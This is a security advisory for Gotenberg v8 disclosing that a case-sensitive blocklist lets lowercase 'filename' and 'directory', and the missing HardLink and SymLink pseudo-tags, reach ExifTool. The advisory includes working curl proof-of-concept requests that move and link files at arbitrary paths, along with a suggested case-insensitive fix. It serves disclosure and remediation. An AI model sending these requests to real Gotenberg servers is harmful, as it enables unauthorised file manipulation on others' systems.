GHSA-qmwh-9m9c-h36m Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

• Go github.com/gotenberg/gotenberg/v8: < 8.30.0 → fixed in 8.30.0

Summary The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely. Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API. Root Cause `pkg/modules/exiftool/exiftool.go` lines 231-237: dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", // Writing this triggers a file move in ExifTool } for _, tag := range dangerousTags { delete(metadata, tag) } Go's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `"FileName"` and `"Directory"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically. The go-exiftool library passes tag names directly to ExifTool's stdin at line 258: fmt.Fprintln(e.stdin, "-"+k+"="+str) So `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`. The blocklist also omits two dangerous ExifTool pseudo-tags: • `HardLink`: creates a hard link to the file at the specified path • `SymLink`: creates a symbolic link to the file at the specified path PoC All three vectors confirmed against a running Gotenberg v8.29.1 Docker container. Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf): curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F [email protected] \ -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}' HardLink (hard link created at /tmp/hardlink_bypass.pdf): curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F [email protected] \ -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}' SymLink (symbolic link created at /tmp/symlink_bypass.pdf): curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F [email protected] \ -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}' Verification inside the container: $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf Also confirmed ExifTool case-insensitivity directly: exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName= Impact An attacker with access to the Gotenberg API (unauthenticated by default) can: 1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory` 2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup 3. Create symbolic links at arbitrary paths via `SymLink` In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services. Suggested Fix Use case-insensitive comparison and expand the blocklist: dangerousTags := []string{ "FileName", "Directory", "HardLink", "SymLink", } for key := range metadata { for _, tag := range dangerousTags { if strings.EqualFold(key, tag) { delete(metadata, key) } } }